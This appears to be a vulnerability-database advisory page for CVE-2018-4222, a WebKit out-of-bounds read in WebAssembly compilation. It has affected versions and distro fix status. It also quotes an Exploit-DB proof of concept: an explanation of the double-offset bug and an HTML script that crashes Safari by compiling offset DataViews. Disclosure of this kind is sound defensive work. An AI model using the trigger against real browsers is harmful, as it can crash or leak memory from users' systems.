CVE-2018-4222
Description
An issue was discovered in certain Apple products. iOS before 11.4 is affected. Safari before 11.1.1 is affected. iCloud before 7.5 on Windows is affected. iTunes before 12.7.5 on Windows is affected. tvOS before 11.4 is affected. watchOS before 4.3.1 is affected. The issue involves the "WebKit" component. It allows remote attackers to execute arbitrary code via a crafted web site that leverages a getWasmBufferFromValue out-of-bounds read during WebAssembly compilation.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WebKit - WebAssembly Compilation Info Leak
<!--
There is an out-of-bounds read when compiling WebAssembly source buffers in WebKit. When a source buffer is compiled, it is first copied into a read-only buffer by the functuion getWasmBufferFromValue. This function returns the code buffer as follows:
return arrayBufferView ? static_cast<uint8_t*>(arrayBufferView->vector()) : static_cast<uint8_t*>(arrayBuffer->impl()->data());
If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:
memcpy(result.data(), data + byteOffset, byteSize);
This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:
var b2 = new ArrayBuffer(1000);
var view = new Int8Array(b2, 700);
var mod = new WebAssembly.Module(a);
An HTML file the consistently crashes Safari is attached.
-->
<html><body><script>
for(var q = 0; q < 100; q++){
var i = Math.random();
i = Math.round(i*0x20000000);
i = Math.abs(i);
var b2 = new Uint8Array( i);
console.log("i" + i);
var j = Math.random();
j = j*i;
j = Math.round(j);
j = Math.abs(j);
console.log("j"+j)
var view2 = new DataView(b2.buffer,j);
try{
var mod = new WebAssembly.Module(view2);
}catch(e){
console.log(e);
}
}
</script></body></html>OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.20.3-1 |
| sid | Fixed | 2.20.3-1 |
| forky | Fixed | 2.20.3-1 |
| bullseye | Fixed | 2.20.3-1 |
| bookworm | Fixed | 2.20.3-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.